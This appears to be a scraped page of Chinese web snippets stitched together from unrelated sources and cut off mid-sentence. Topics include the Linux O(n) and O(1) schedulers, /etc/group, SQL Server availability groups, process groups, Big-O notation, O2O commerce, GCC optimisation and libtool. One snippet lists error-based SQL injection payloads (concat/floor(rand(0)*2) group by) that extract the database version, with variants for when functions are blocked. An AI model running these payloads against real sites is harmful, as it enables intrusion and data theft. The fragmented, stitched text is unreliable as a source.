前面我们学习了调度器的设计需要关注的几个点，在这里复习下： 吞吐量（对应的是CPU消耗型进程） 响应速度（对应的是IO消耗型进程） 公平性，确保每个进程都可以有机会运行到 移动设备的功耗 Linux中调度器的设计...实时进程采用两种调度策略SCHED_RR或者SCHED_FIFO 普通进程采用nice值进行动态调整普通进程的优先级 经常睡眠的进程尝试增大下优先级，经常长占CPU的适当减少优先级 本节我们先来学习Linux...早期的调度算法的设计，先从最早的调度器算法开始，此调度器时间复杂度是O(n)，所以也可以称为O(n)调度算法。...我们选择的内核版本是linux-2.4.19。 O(n)调度器的实现原理 O(n)代表的是寻找一个合适的进程的时间复杂度。...总之O(n)调度器有很多问题，不过有问题肯定要解决的。所以在Linux2.6引入了O(1)的调度器。
用户组（Group）配置文件主要有 /etc/group和/etc/gshadow，其中/etc/gshadow是/etc/group的加密信息文件。.../etc/group文件作用 /etc/group文件是用户组的配置文件，内容包括用户和用户组，并且能显示出用户是归属哪个用户组或哪几个用户组，因为一个用户可以归属一个或多个不同的用户组；同一用 户组的用户之间具有相似的特征.../etc/group文件格式 /etc/group的内容包括用户组（Group）、用户组口令、GID及该用户组所包含的用户（User），每个用户组一条记录 group_name:passwd:GID:user_list...第一字段(group_name)：用户组名称； 第二字段(passwd)：用户组密码； 第三字段:GID 第四字段(user_list)：用户列表，每个用户之间用,号分割；本字段可以为空；如果字段为空表示用户组为
约莫十五年前，当我刚刚开始参加工作时，赶上 Linux 发布划时代的 2.6 内核。在这个大家都翘首期盼的内核版本中，最令人兴奋的便是 O(1) scheduler。本文来谈谈这个算法是如何实现的。...2.4 scheduler 的问题 Linux 2.4 scheduler 支持 SMP（Symmetric Multi-Processing），然而，由于只用一个 global runqueue，各个...谈到搜索，大家第一反应是 hash table 是 O(1) 时间复杂度的。然而，它在最坏情况下是 O(N) 的。除此之外，没有任何算法能在最坏情况下 search 也是 O(1)。...linked list，stack，queue 在平均和最坏情况下都是 O(1)，而大家脑海里的 hash table，同样的，虽然平均是 O(1)，但最坏情况是 O(N)。...在其刚问世时，很多 linux 发行版就迫不及待将其移植回 2.4 kernel。而程序君整个职业生涯中接触过的一些调度器中，都能见到 bitarray + priority queue 的身影。
用户组（Group）配置文件主要有 /etc/group和/etc/gshadow，其中/etc/gshadow是/etc/group的加密信息文件。.../etc/group文件作用 /etc/group文件是用户组的配置文件，内容包括用户和用户组，并且能显示出用户是归属哪个用户组或哪几个用户组，因为一个用户可以归属一个或多个不同的用户组；同一用 户组的用户之间具有相似的特征.../etc/group文件格式 /etc/group的内容包括用户组（Group）、用户组口令、GID及该用户组所包含的用户（User），每个用户组一条记录 group_name:passwd:GID:user_list...第一字段(group_name)：用户组名称； 第二字段(passwd)：用户组密码； 第三字段:GID 第四字段(user_list)：用户列表，每个用户之间用,号分割；本字段可以为空；如果字段为空表示用户组为...原文链接:https://rumenz.com/rumenbiji/linux-etc-group.html
文件样例 myths@myths-X450LD:~$ cat /etc/group root:x:0: daemon:x:1: bin:x:2: sys:x:3: adm:x:4:syslog tty:...一般Linux系统的用户组都没有口令，即这个字段一般为空，或者是*。 组标识号 与用户标识号类似，也是一个整数，被系统内部用来标识组。...将用户分组是Linux系统中对用户进行管理及控制访问权限的一种手段。每个用户都属于某个用户组；一个组中可以有多个用户，一个用户也可以属于不同的组。
O(n)调度器的种种问题，linux内核社区则在2.6内核版本引入了O(1)调度器，当然了引入的目的也正是要解决O(n)调度器面临的问题。...我们这片文章以Linux2.6.2版本来学习，在Linux内核文档中有一篇关于O(1)调度器的目的，如何设计的，以及实现有一个详细的介绍：sched-design.txt文档，有兴趣的可以去阅读。...从以上几点来看，可以看出O(1)的算法的改进都是针对O(n)算法存在的问题来修改的。...总结： O(1)调度器的引入主要是为了解决O(n)调度器的不足 O(1)调度器在赏罚机制上比O(n)调度器考虑的因素比较多，不再时像O(1)那样直接考时间片的大小来调度 但是O(n)和O(1)调度算法上核心还是通过判断一个进程的行为...如果去看O(1)调度器的实现，没有O(n)算法那么简单明了，O(1)中加了需要时间的判断，各种情况的考虑，导致代码的阅读性很差，读起来很费劲。
SQL Server Always On Availability Group 配置 步骤： 配置三台 Linux 集群节点 创建 Availability Group 配置 Cluster Resource...配置三台 Linux 集群节点 在集群中的三台服务器之间可以互相通信 安装 SQL Server 在 Linux 上，往集群管理器中添加集群资源时，一定是先建立集群资源，接着将新建的资源加入到集群中去。...理念和两台 Linux 服务器之间无密通信一样，一个公钥，一个私钥。公钥用来核实私钥的有效性，分发到各个服务器上，作为访问远程服务的凭证。...[crmag] grant create any database ; 我们在这里指定了 external 的集群管理方式，那么就需要在 Linux 上安装独立的集群管理软件，通常用...但理论上也应该有其他的集群管理软件，比如 Mesos, Linux Cluster Manager(LCM) 等。
concat(0x5e,version(),0x5e,floor(rand(0)*2))x,count(*) from (select 1 union select 2 union select 3)a group...x; //数据不足三条或者关键表被禁用 round(): select concat(0x5e,version(),0x5e,round(rand(0)))x,count(*) from test group...by x; left(): select concat(0x5e,version(),0x5e,left(rand(0),3))x,count(*) from test group by x; rand...(),count()被禁用： select min(@a:=1) from test group by concat(0x5e,@@version,0x5e,@a:=(@a+1)%2); 语句随机应变...函数 group by：分组方式，作为虚拟表的主键 count(*)返回满足条件的行的个数 concat()连接字符串 floor()向下取整 round()四舍五入 left
使用了这么多年的 Ubuntu, 自以为 Linux 下进程的概念已经很熟悉了, 然而发现进程组(Process Group)和会话(Session)两个概念日常并不会接触很多, 平时也没有注意, 导致今天遇到一个问题还想了半天才想明白...看了一些讲进程控制的书和文章, 感觉都比较老了, 不少都还在讲 double fork 的原理及意义, 而现实是 systemd 已经接管了几乎整个 Linux 世界, double fork 这种东西真的不应该存在了...进程可以理解为 "进行中的程序", 在 Linux 上可以通过 fork 来创建新的进程, 然后可以使用 exec 来在子进程或者父进程中执行新的程序....leader 退出可能造成 orphaned process group, 因此在shell中, 一般情况下会造成进程退出的情况 Orphaned Process Group 当一个 group leader...https://superuser.com/questions/403200/what-is-a-stopped-process-in-linux
1、时间复杂度o(1), o(n), o(logn), o(nlogn)。算法时间复杂度的时候有说o(1), o(n), o(logn), o(nlogn)，这是算法的时空复杂度的表示。...O后面的括号中有一个函数，指明某个算法的耗时/耗空间与数据增长量之间的关系。其中的n代表输入数据的量。 2、时间复杂度为O(1)。...哈希算法就是典型的O(1)时间复杂度，无论数据规模多大，都可以在一次计算后找到目标（不考虑冲突的话） 3、时间复杂度为O(n)。 就代表数据量增大几倍，耗时也增大几倍。 比如常见的遍历算法。...再比如时间复杂度O(n^2)，就代表数据量增大n倍时，耗时增大n的平方倍，这是比线性更高的时间复杂度。 比如冒泡排序，就是典型的O(n^2)的算法，对n个数排序，需要扫描n×n次。...5、时间复杂度为O(nlogn)。 就是n乘以logn，当数据增大256倍时，耗时增大256*8=2048倍。这个复杂度高于线性低于平方。 归并排序就是O(nlogn)的时间复杂度。
Linux是一个支持多任务的操作系统，而多个任务之间的切换是通过 调度器 来完成，调度器 使用不同的调度算法会有不同的效果。...Linux2.4版本使用的调度算法的时间复杂度为O(n)，其主要原理是通过轮询所有可运行任务列表，然后挑选一个最合适的任务运行，所以其时间复杂度与可运行任务队列的长度成正比。...而Linux2.6开始替换成名为 O(1)调度算法，顾名思义，其时间复杂度为O(1)。...虽然在后面的版本开始使用 CFS调度算法（完全公平调度算法），但了解 O(1)调度算法 对学习Linux调度器还是有很大帮助的，所以本文主要介绍 O(1)调度算法 的原理与实现。...由于在 Linux 内核中，任务和进程是相同的概念，所以在本文混用了任务和进程这两个名词。
去IOE的话题最近很火，而来自四川电信的客户访问，其中有一段颇有借鉴意义：去“O”不如减“O”。...去O”不如“减O” - 在成功去掉小型机之后，TechTarget记者还向梁天健询问了关于去E（EMC存储）和去O（Oracle数据库）的话题。...再谈到去O，梁天健的态度很明确，从技术层面来讲，目前很多企业连Oracle这样具有高可用、高性能、易用性强的数据库都没有用好，去O根本无从谈起。...梁天健认为答案是否定的：“我们不去O，但是我们可以尝试减O。何谓‘减O’？就是将假设现在的200个独立的Oracle数据库整合到20个更大型的Oracle数据库中去。”...当然，“减O”同样具有风险，实施需谨慎。梁天健认为，以前一个系统出现故障，也就是影响这一个系统，但是整合在一起，一个系统的数据库占用了100%的I/O，会导致其它的系统也同样受到干扰。
与O2O还有其它模式的有B2B.B2C.C2C。...的成分，也包含O2O以外的东西，完全可以称为采用O2O模式运营的网站非常少，美乐乐家居网算是比较典型的例证。...同城购是电子商务O2O（Online To Offline）模式的创新平台和大规模的应用平台，随着O2O模式的逐渐成熟和广泛应用，本地化电子商务必将成为电商服务争夺战的决胜之地。...对同城购来说，O2O模式可带来大规模高黏度的消费群体，进而能争取到更多的商家资源。 O2O模式作为线下商务与互联网结合的新模式，解决了传统行业的 电子商务化问题。...因此，团购让O2O模式发挥了淋漓尽致的效果。但团购是低折扣的临时性促销，甚至商家并没有真正参与到 电子商务运营中来，还不能说是完全的O2O模式。
为了加快代码执行的效率，很多OJ平台都会自动开启O2优化。 在这里我们讲讲到底是怎么优化的。 O0优化 #pragma GCC optimize(0) 1、把变量分配到寄存器。...O1优化 #pragma GCC optimize(1) 包含O0的各种优化功能，并增加了： 1、在变量赋值时，将数值直接赋给变量而不是给出变量的地址。 2、去掉没有用的变量和表达式。...O2优化 #pragma GCC optimize(2) 包含O1的各种优化功能，并增加了： 1、去掉全局通用的子表达式。 2、去掉全局没有用的分配变量和表达式。 3、化解循环。...当只用-O选项时优化器自动进行-O2优化。 O3优化 #pragma GCC optimize(3) 包含O2的各种优化功能，并增加了： 1、去掉未调用的函数。 2、简化返回值未使用的函数。
/etc/group文件是有关于系统管理员对用户和用户组管理的文件,linux用户组的所有信息都存放在/etc/group文件中。 一....在Linux系统中，这个界限是500。 . 组标识号(GID):字段记录的是用户所属的用户组。它对应着/etc/group文件中的一条记录。 ....在不同的Linux系统中，这个字段的格式并没有统一。在许多Linux系统中，这个字段存放的是一段任意的注释性描述文字，用做finger命令的输出。 ....Shell是用户与Linux系统之间的接口。Linux的Shell有许多种，每种都有不同的特点。.../etc/group文件 此文件的格式是由冒号(:)隔开若干个字段，这些字段具体如下： 组名:口令:组标识号:组内用户列表 具体解释： 组名：组名是用户组的名称，由字母或数字构成。
接下来几篇文章会介绍linux内核是如何调度进程的，在学习内核进程调度之前有必要搞懂这些准备知识！...相信很多开发的同伴们在研究算法、排序的时候经常会碰到O(1)，O(n)，O(logn)，O(nlogn)这些复杂度，看到这里就会有个疑惑，这个O(N)到底代表什么呢？带着好奇开始今天文章。...首先o(1), o(n), o(logn), o(nlogn)是用来表示对应算法的时间复杂度,这是算法的时间复杂度的表示。不仅仅用于表示时间复杂度，也用于表示空间复杂度。...O(nlogn)<O(n2)<O(n3)<O(2n)//2的n方<O(n!)...<O(nn)//n的n方
在描述算法复杂度时,经常用到o(1), o(n), o(logn), o(nlogn)来表示对应算法的时间复杂度。这里进行归纳一下它们代表的含义:这是算法的时空复杂度的表示。...O后面的括号中有一个函数，指明某个算法的耗时/耗空间与数据增长量之间的关系。其中的n代表输入数据的量。 比如时间复杂度为O(n)，就代表数据量增大几倍，耗时也增大几倍。比如常见的遍历算法。...再比如时间复杂度O(n^2)，就代表数据量增大n倍时，耗时增大n的平方倍，这是比线性更高的时间复杂度。比如冒泡排序，就是典型的O(n^2)的算法，对n个数排序，需要扫描n×n次。...二分查找就是O(logn)的算法，每找一次排除一半的可能，256个数据中查找只要找8次就可以找到目标。 O(nlogn)同理，就是n乘以logn，当数据增大256倍时，耗时增大256*8=2048倍。...归并排序就是O(nlogn)的时间复杂度。 O(1)就是最低的时空复杂度了，也就是耗时/耗空间与输入数据大小无关，无论输入数据增大多少倍，耗时/耗空间都不变。
o: 编译的目标文件 a: 静态库，其实就是把若干o文件打了个包 so: 动态链接库（共享库） lo: 使用libtool编译出的目标文件，其实就是在o文件中添加了一些信息 la: 使用libtool编译出的库文件...当编译过程到link阶段的时候，如果有下面的命令： $libtool –mode=link gcc -o myprog -rpath /usr/lib –L/usr/lib –la libtool会到/...比如上面那个例子， $libtool –mode=link gcc -o myprog -rpath /usr/lib –L/usr/lib –la 如果liba.so不是使用libtool工具生成的，...$ unicore32-Linux-gcc –o myprog /usr/lib/liba.so \ -Wl,–rpath-link -Wl,/home/UNITY_float/install/usr/...libtool中有一个变量“hardcode_libdir_flag_spec”，该变量本来是传递“-rpath”选项的，但我们可以修改它，添加我们需要的路径，传递给unicore32-linux-gcc
连接图像和文本，更多的多模态文章可以看博主整理过的系列（跨界出圈 | 谈谈BERT跨模态预训练），本篇文章主要整理一下OpenAI发表的2篇文章。其中CLIP ...
2.1 sl 先看一下呼啸而过的火车；安装指令如下； sduo apt-get install sl 执行结果如下： 2.2 htop 图形化Linux系统性能监测工具，屌不屌: 安装指令如下: sduo
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